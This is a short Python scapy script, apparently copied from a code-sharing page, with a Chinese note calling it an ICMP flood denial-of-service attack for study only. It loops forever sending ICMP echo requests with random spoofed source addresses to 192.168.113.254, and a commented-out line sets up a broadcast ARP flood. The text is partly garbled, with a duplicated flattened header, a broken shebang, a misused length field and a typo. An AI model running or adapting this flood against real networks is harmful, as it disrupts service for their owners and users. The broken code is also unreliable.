#!usr/bin/python #-*- coding:utf-8 -*- import sys from scapy . all import * def mac_floodatt ( interface ): data = '0123456789012309129834912734981270497810892471241209478812094701298471208947120974123089471208974089127498127390481270491297
#-*- coding:utf-8 -*-
import sys
from scapy.all import *
def mac_floodatt(interface):
data = '0123456789012309129834912734981270497810892471241209478812094701298471208947120974123089471208974089127498127390481270491297341230894308927049172809347108947120897408912'
attackpacket = IP(src=RandIP('*.*.*.*'), dst='192.168.113.254',length=data)/ICMP(type='echo-request')
#attackpacket = Ether(srlc=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)
while 1:
send(attackpacket, iface=interface, loop=100)
def main():
if len(sys.argv) < 2:
print ('Usage: python mac_flood.py iface')
else:
mac_floodatt(sys.argv[1])
if __name__ == '__main__':
main()
iCMP flodd是一种DOS攻击,目前绝大多数的网络防火墙、服务器都能承受这种攻击。仅适用于学习交流,切勿使用或改造与非法用途。